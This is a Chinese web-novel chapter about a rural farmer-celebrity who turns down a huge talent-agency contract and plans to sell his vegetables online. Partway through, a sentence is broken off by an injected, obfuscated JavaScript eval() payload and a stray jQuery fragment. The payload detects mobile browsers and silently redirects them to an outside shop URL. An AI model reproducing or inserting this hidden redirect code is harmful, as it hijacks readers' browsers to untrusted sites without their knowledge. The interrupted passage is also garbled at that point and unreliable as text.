西装男在院门口等了四十分钟。
小赵的机器远远地架着，镜头对着那辆锃亮的黑车，像对着一头误入菜地的牲口。西装男倒是不恼，靠在车门上看山景，公文包夹在腋下，皮鞋擦得能照见人。
他身后跟着个年轻助理，抱着文件夹，小声汇报："高总，就是这家，院子在拍摄，机器都架着呢。"
"架着才好。"西装男深吸一口气，整了整领带，"这村里空气是真好，难怪出爆款。"
助理还没接话，院门开了。
陆清槐拎着一把野葱走在前面，林野吊儿郎当地跟在后头，手里转着半根没吃完的黄瓜。西装男眼睛一亮，三步并作两步迎上去，双手递出名片：
"陆老师您好您好！星途娱乐，艺人经纪总监，我姓高。您叫我小高就行——"
"高总监。"林野在旁边懒洋洋地纠正，"他比你小不了几岁，叫你小高你答应得还挺顺口。"
高总监笑容僵了半秒，立刻无缝衔接："这位是？"
"他发小。"林野拉过一条板凳坐下，"村里的事儿，没有我不门儿清的。"
陆清槐看了他一眼。林野回了个"放心"的眼神。
客堂里，沈眉泡了茶。
高总监坐下，没急着谈，先把平板电脑往桌上一放，调出一份方案图，笑容可掬："陆老师，您先别急。我今天来，不是来打扰您生活的，是来送东西的。"
"我什么都不缺。"陆清槐说。
"您缺一个机会。"高总监伸出一根手指，"您现在火到什么程度，您自己可能没概念。第一期收视破2，六年来头一回；您那条'桃。软了。'，转发破十六万；粉丝从一万二涨到一百三十万，还在涨。这个热度，我们行内叫'泼天富贵'——但富贵这东西，接得住才叫富贵，接不住，就是一阵风。"
他说得抑扬顿挫，林野在旁边啃黄瓜，"咔嚓"一声。
高总监顿了顿，决定不受影响，从公文包里抽出一份合同，推到桌上。
"星途娱乐，国内做艺人经纪的头部公司。我们想签您。条件我都带来了——"
他翻开合同第一页，手指点在数字上。
"签约金，三年，五个亿。"
客堂里静了一瞬。
厨房里"哐当"一声——陶陶手里的锅盖掉地上了。
方驰本来在院子里假装劈柴，听到这句，柴刀停在半空，保持着姿势，一寸一寸往客堂门口挪。江苓从灶屋探出头，眼睛瞪得溜圆。
五个亿。
高总监很满意这个效果。他往后靠了靠，语气放得更缓："当然，数字是可以谈的。配套的资源我给您交底：影视、综艺、商务，我们全线给您铺开。顶级制作团队、卫视春晚、国民代言，三年之内，我保您——"
陆清槐听完，问了个不相干的问题："签了以后，我要做什么？"
高总监一愣，随即笑了："这您放心！拍戏、上综艺、接代言，公司全给您安排好，您照着行程走就行——"
"不住这儿了？"
"您是大明星了，哪能老在山沟里待着——"
"那不去。"
高总监脸上的笑僵了一下，决定换个角度："陆老师，我理解您对这院子有感情。这么说吧，签约之后，您一年最多拿出八个月做业务，剩下四个月，您想回村，我们不拦着——"
"一天都不行。"
"……半年？我再替您争取争取，一年里头，您有半年在村里——"
"你没听懂。"陆清槐看着他，语气平平的，"我哪儿也不去。山在这儿，地在这儿，我在这儿。"
高总监深吸一口气。他干这行十五年，谈过爆红的素人、闹解约的爱豆、坐地起价的网红，什么样的难搞法都见过——嫌钱少的、要股份的、耍大牌的，都有得谈。可眼前这位，不还价，不动心，甚至懒得解释。他说"山在这儿"的口气，像在说一件不值得讨论的事：天在上，地在下，他不走。
这种人，他是真没见过。
他换了个策略，身体前倾，声音里添了点推心置腹："陆老师，我懂，山里日子清静。可您想过没有，人这一辈子，能被全国人看见的机会有几回？签了约，您出门，机场几万人接机；您走一趟红毯，品牌方排着队送代言——"
"红毯是什么？"陆清槐问。
"……就是明星出席活动，地上铺一条红布，所有人看着你从布上走过去。"
"为什么要在地上铺红布？"他皱眉，"踩脏了怎么办。"
"那是仪式感！布就是给人踩的！"
"哦。"他点点头，又问，"几万人接机，接去哪儿？"
高总监愣了："什么接去哪儿？就是粉丝在机场等着，看你一眼，举你的牌子，喊你的名字。"
"看一眼就散？"
"对——"
"那跟赶集的时候，"陆清槐想了想，"大伙围一圈看耍猴，有什么区别。"
高总监："……"
林野本来在啃黄瓜，笑得直咳嗽，赶紧端起茶杯挡脸。
他决定亮底牌。
"陆老师，"他把合同合上，身体前倾，声音压低了些，"我跟您说句掏心窝子的话。您这个热度，说白了，是个人设——'山里神仙小哥'。人设这东西，能捧你，也能复制。"
林野啃黄瓜的动作慢了下来。
"您不签，没关系。"高总监语气还是笑着的，"但明年这时候，市场上会出现十个'山里小哥'：我们找一块差不多的地，搭一个差不多的院子，找个会做饭、会干活、长得也不错的年轻人，用您的模式，做一档差不多的节目。观众记性没那么长，热度就这么大一块蛋糕，新人出来，您的份额就薄了。"
他说完，往后一靠，端起茶，等。
客堂里安静了几秒。
陆清槐看着他，像是在听一件很新鲜的事。
"你的意思是，"他慢慢开口，"你们要找人，学我种菜？"
"……是这个意思。"
"那你们早说啊。"
高总监端茶的手停在半空。
"种菜我教。"陆清槐说，"不要钱。间苗要趁雨后，粪水要兑熟了浇，番茄打杈不能心疼，鸡一天喂两顿、糠拌菜叶——你们要学，让他来，我教一个月，包会。"
他顿了顿，还补了一句："就是学会了，菜也不一定有我种的好。地不一样。"
"……"
高总监张了张嘴。他准备了三套说辞：打感情牌、打利益牌、打威胁牌。现在三套牌全打出去了，对面那位——好像根本没坐在牌桌上。
院子里，方驰没憋住，"噗"地笑出了声，被江苓一把捂住嘴。
门帘一掀，陈伯进来了。
老爷子背着手，也不看高总监，先看陆清槐："说完了？"
"还没。"
"那我听两句。"陈伯在太师椅上坐下，烟袋锅往鞋底磕了磕，这才抬眼看向高总监，"你是哪家的？"
"星途娱乐，陈伯您好——"
"我问你，"陈伯慢悠悠地点上烟，"签了你们，他要是不想干了，能走不？"
高总监笑容可掬："合约期内，单方面解约是要付违约金的，不过以陆老师的商业价值——"
"听不懂这些。"陈伯摆手，"我就问你一句：他在这村里，住了一年，没住这么久吧。"
高总监愣了一下。他琢磨了琢磨，没琢磨明白这话是什么意思，赔着笑刚要接——
"门在那边。"陈伯吐出一口烟。
陆清槐没说话，伸手给陈伯续上了茶。
高总监脸上的笑终于挂不住了。他站起来，还想最后努力一下，转向林野："这位小兄弟，您看您是不是劝劝——"
"我劝？"林野把黄瓜尾巴往桌上一搁，慢悠悠开口，"高总监，我给你掰扯掰扯。模式能复制，地不能复制；院子能搭，人搭不出来。你找十个会做饭的小哥，他们能让鸡自己走过去吗？能让无人机第一次摸遥控器就贴山脊飞吗？你复制的是壳子，壳子底下那个人，你复制不了。"
他站起来，拍了拍高总监的肩膀："还有，我哥说了教你种菜，这是真心的。你们公司要是真有艺人想来学，报路费就行，他管饭。"
高总监的嘴角抽了两下。
他收拾合同的时候，苏晚不知什么时候站在了院门口，抱着胳膊："高总监，忘了说一句——陆老师是我们节目的签约房东，他的商业合作，按合同得先跟台里谈。您这份合同，建议先过我们法务。"
"……苏导。"高总监挤出个笑，"行，那我先告辞。不过我把话放这儿——"
他走到院门口，回头，还是那副笑面："陆老师，今天是我们星途。下个礼拜，来的可能就是别家。热度这碗饭，凉得快。"
黑车开走了。
院门口的泥地上，留下两道皮鞋印，深一道浅一道。
消息没腿，跑得快。不到一个钟头，全村都知道了：城里来了个穿西装的，拎着五个亿上门，要"买"陆清槐，被他一句"哪儿也不去"顶回来了。在场的人学他原话，说人家讲得才叫干脆——"山在这儿，地在这儿，我在这儿。"听话的人琢磨半天，没琢磨明白。
小卖部里，李婶嗑着瓜子，半信半疑："五个亿？多少个零？"
"五个，后头挂八个零。"王大爷上小学的孙子趴在柜台底下写作业，头也不抬。
"那得多少斤谷子……"李婶掰着手指算，算了半天放弃了，"我就问一句——清槐真不愿意去？"
"不愿意。"王大爷说，"我亲眼看那车走的，拐弯都带着股灰溜溜。"
李婶手里的瓜子"啪"地搁回柜台上："这孩子傻不傻？五个亿啊！他先去把钱挣了，回来再种他的地，地还能长腿跑了？"
"人家讲，"王大爷咂咂嘴，"'山在这儿，地在这儿，我在这儿。'"
"山又不会跑！"李婶横竖想不通这个理，"他去三年，挣五个亿，回来盖小楼、买农机，菜想种多少种多少——"
"你呀，"王大爷慢悠悠地说，"操的是中南海的心。人家自己乐意。"
李婶噎了一下，抓起瓜子重新嗑，嗑了两粒，还是咽不下这口气："……我是替他疼得慌。五个亿啊，搁信用社存着，光利息——"
"你可拉倒吧，"王大爷拆她台，"上回你家卖猪那八千块，你跑了三趟信用社，生怕人家给你数错了。五个亿？你敢存？"
"我——"李婶卡了壳，扭头冲柜台底下吼，"娃子！五个亿存银行，一年利息多少？"
孙子头也不抬："李奶奶，您先把自个儿的压岁钱想明白吧。"
"我多大岁数了还有压岁钱？"李婶扬起手里的瓜子壳要打，到底没落下去，嘟囔了一句，"……反正五个亿。"
晚饭桌上，一桌子人扒着饭，眼神你撞我、我撞你。
白天那场谈判，嘉宾们都在院里，从头到尾听了个满耳。可机器开着呢——五个亿、签约、经纪公司，这种话，谁敢在镜头前提？方驰憋了半天，扒一口饭，瞄一眼陆清槐，又扒一口饭。
倒是小满端着碗来串门，童言无忌，一屁股坐下就问："清槐叔，五个亿是多少呀？能买多少个包子？"
满桌子人齐齐松了口气——总算有人开这个头了。
"按两块钱一个，"方驰抢着答，"两亿五千万个包子！你一天吃十个，能吃——"他卡壳了。
"六万八千多年。"沈眉慢条斯理地报出数字。
小满捧着碗，陷入了和年龄不符的沉重："我要这么多包子干什么……"
"所以嘛，"陆清槐给她夹了块鸡肉，"包子够吃就行。"
方驰顺杆儿就想往上爬，压着嗓子凑过来："哥，我跟你说，我们这行——"
"吃饭。"沈眉舀了勺汤堵他，"苏导还没喊收工呢。"
苏晚的画外音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916308|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
适时飘过来："方驰，合约话题免谈啊。这段播出去，你们经纪人的电话得打到我这儿来。"
方驰把嘴闭上，冲镜头拱了拱手："我什么都没说。"
全桌笑开。
江苓全程没怎么说话，光顾着刷手机。这会儿她把手机往桌上一拍："你们猜怎么着？西装男进村，镇上有人拍了视频，已经上网了。标题叫——《五个亿请不动的男人，原因是家里有鸡》。"
"评论才好笑，"她划着屏念，"第一条：'五个亿能买多少鸡？答：他不关心，他关心的是鸡一天喂两顿。'第二条：'建议高总监改行，去签那只芦花鸡，道具鸡也是出道过的。'第三条……"
她念到一半卡住，念不下去，笑得直不起腰。
"第三条是什么？"陶陶凑过来。
"'别的公司：我们复制他的模式。陆清槐：种菜我教，不要钱。'——这条被转了八万次，评论区全在喊'陆老师开班吧，我第一个报名学种地，学成回家辞职'。"
陶陶咬着筷子，突然抬头："清槐哥，他们要是真都来学，咱们村……是不是就有很多很多菜了？"
陆清槐看了她一眼。
"菜多了不好。"他说，"菜要一棵一棵种，多了顾不过来，就糙了。"
江苓托着腮看他，问出了全桌憋了一下午的那句话："哥，你就一点没动心？"
"钱我有。"他说。
"你有多少？"方驰立刻把合约的事忘到了脑后。
陆清槐想了想："卖菜的钱，林野帮我存在银行里，手机上能看见那个数。"
"多少？"
"四位数。"
满桌子沉默。
"……哥，"方驰艰难地开口，"四位数和五个亿，中间差的不是钱，是一种活法。"
"我现在这个活法，"陆清槐添了碗饭，"有菜吃，有鸡喂，你们都在。五个亿买来的活法，要听别人安排。我不换。"
这话一出，长桌上静了静。
沈眉低头笑了，给他舀了勺鸡汤："吃饭。"
陈伯在主位上"哼"了一声，没说话，烟袋锅子点了点桌面，算是表态。
夜里，林野没走，坐在檐下跟陆清槐喝茶。
"哥，今天那高总监最后那句话，不是吓唬你。"林野转着茶杯，"接下来有的是人来。经纪公司、网红孵化、直播公会，还有想让你带货的——你那一百三十万粉丝，在他们眼里就是一座金矿。"
"金矿是什么？"
"就是……能刨出钱来的地方。"
"我的粉丝又不是菜。"陆清槐皱眉，"刨他们干什么。"
林野被噎了一下，随即笑了："对，不是菜。但在他们眼里，连你种的菜都能标价。"
陆清槐没接话。他望着黑黢黢的院子，大黄趴在脚边打呼，橘座在墙头上甩尾巴。
过了一会儿，他忽然问："林野，你说的那个电商，卖菜的，做得怎么样了？"
林野一愣："……还行，刚开始走量。怎么突然问这个？"
"没什么。"他端起茶，"菜要是能卖到山外面去，就不用来那么多人了。他们想要的，不就是菜么。"
林野盯着他看了半天。
"哥，"他慢慢说，"你知不知道，你刚才那个想法，比五个亿值钱。"
陆清槐给他续了杯茶，像是这件事他已经想过一阵了："菜在地里，最好的时候就那么几天。摘早了不甜，摘晚了老。怎么保证送到山外头，正好是那个时候？"
"冷链。"林野来了精神，"摘下来立刻进冷库，冷藏车走高速，四十八小时到城里超市。我那摊儿现在就是这么跑的，就是量小。"
"高速是什么？"
"……特别宽的路，车跑得飞快，一天能跑以前十天的道。"
陆清槐点点头。八百年前精灵王庭运灵药靠法阵，一日千里；现在的人靠路。法子不一样，道理是一个，都得快。
"还有一桩，"他说，"种法不能省。该间苗间苗，该养地养地。拿化肥硬催出来的菜，个头大，没味儿。"
"哥，这就是你值钱的地方。"林野放下杯子，"外头那些有机菜，卖得比肉贵，吃着还是一股水味儿。你这菜是真有菜味。往后怎么种、种多少，你说了算，我负责卖。"
"赚了钱怎么分？"
"你七我三！"
"你五。"陆清槐说，"跑路的人辛苦。"
林野张了张嘴，忽然不贫了，低头瞅着杯里立起来的茶叶梗，半天才闷闷地说："……行。但你得教我辨土。"
"教你。"
檐下风过，吹得屋檐下那串干辣椒轻轻晃。大黄翻了个身，把肚皮亮给月亮。
后半夜，陆清槐照例醒了。
他披衣走到檐下，闭上眼。雨后的灵脉一天比一天清晰，细微的灵气在土里走，顺着田埂、树根、水脉，缓缓流向山的深处。
流向龙脖子沟。
那口"井"还在。灵气涌到沟口，一丝一丝被吞进去，探不到底。但今夜，他隐约感觉到一点不同——
井底那股极深极沉的东西，呼吸的节奏，好像快了一线。
像有什么，在醒。
他收回感知，站在檐下听了一会儿夜虫。山风从沟里漫上来，带着一丝凉意。
第二天一早，他刚把鸡窝门打开，王大爷小卖部的方向就传来了喊声：
"清槐！又来人了！"
陆清槐直起腰。
"这回不是穿西装的！"王大爷气喘吁吁跑到院门口，手里还攥着半根油条，"来了仨，戴眼镜，背仪器，说是省农业大学的，点名要找你——"他咽了口唾沫，"要跟你请教，怎么把菜种成那样的。"
院墙上，橘座被喊声惊得跳下墙，大黄从窝里钻出来，莫名其妙地跟着"汪"了一声。
陆清槐拍了拍手上的鸡食。
"请进来。"他说，"先倒茶。"